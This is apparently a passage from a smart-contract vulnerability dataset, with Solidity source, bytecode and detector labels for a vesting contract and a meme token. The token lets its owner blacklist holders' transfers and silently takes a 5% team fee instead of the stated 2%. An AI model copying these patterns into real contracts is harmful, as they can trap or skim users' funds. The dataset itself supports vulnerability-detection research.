7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a1816132f0565b81146137ac57600080fd5b50565b6137b881613302565b81146137c357600080fd5b50565b6137cf8161332e565b81146137da57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220101d78a62c780c71e949e44b2263a7ddab3212dcb93e036b68e89508f84ee59d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,646 |
0x6592e7121161880854ED8BbE3577812C7C60F49b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 1,647 |
0xdd59a58373ef312d20f13c8aeccc0a9b81a00287
|
/*
FlokiMistakes is going to launch in the Uniswap at october 20.
This is fair launch and going to launch without any presale.
tg: https://t.me/MistakesBunny
All crypto babies will become a FlokiMistakes in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MistakesBunny is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mistakes Bunny";
string private constant _symbol = " MBUNNY ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 2;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612789565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612853565b61045e565b60405161017891906128ae565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906128d8565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128f3565b61048e565b6040516101e091906128ae565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612946565b610567565b005b34801561021e57600080fd5b50610227610657565b604051610234919061298f565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129d6565b610660565b005b34801561027257600080fd5b5061027b610712565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612946565b610784565b6040516102b191906128d8565b60405180910390f35b3480156102c657600080fd5b506102cf6107d5565b005b3480156102dd57600080fd5b506102e6610928565b6040516102f39190612a12565b60405180910390f35b34801561030857600080fd5b50610311610951565b60405161031e9190612789565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612853565b61098e565b60405161035b91906128ae565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612b75565b6109ac565b005b34801561039957600080fd5b506103a2610ad6565b005b3480156103b057600080fd5b506103b9610b50565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612bbe565b6110af565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612beb565b6111f9565b60405161041891906128d8565b60405180910390f35b60606040518060400160405280600e81526020017f4d697374616b65732042756e6e79000000000000000000000000000000000000815250905090565b600061047261046b611280565b8484611288565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061049b848484611453565b61055c846104a7611280565b6105578560405180606001604052806028815260200161372d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d611280565b73ffffffffffffffffffffffffffffffff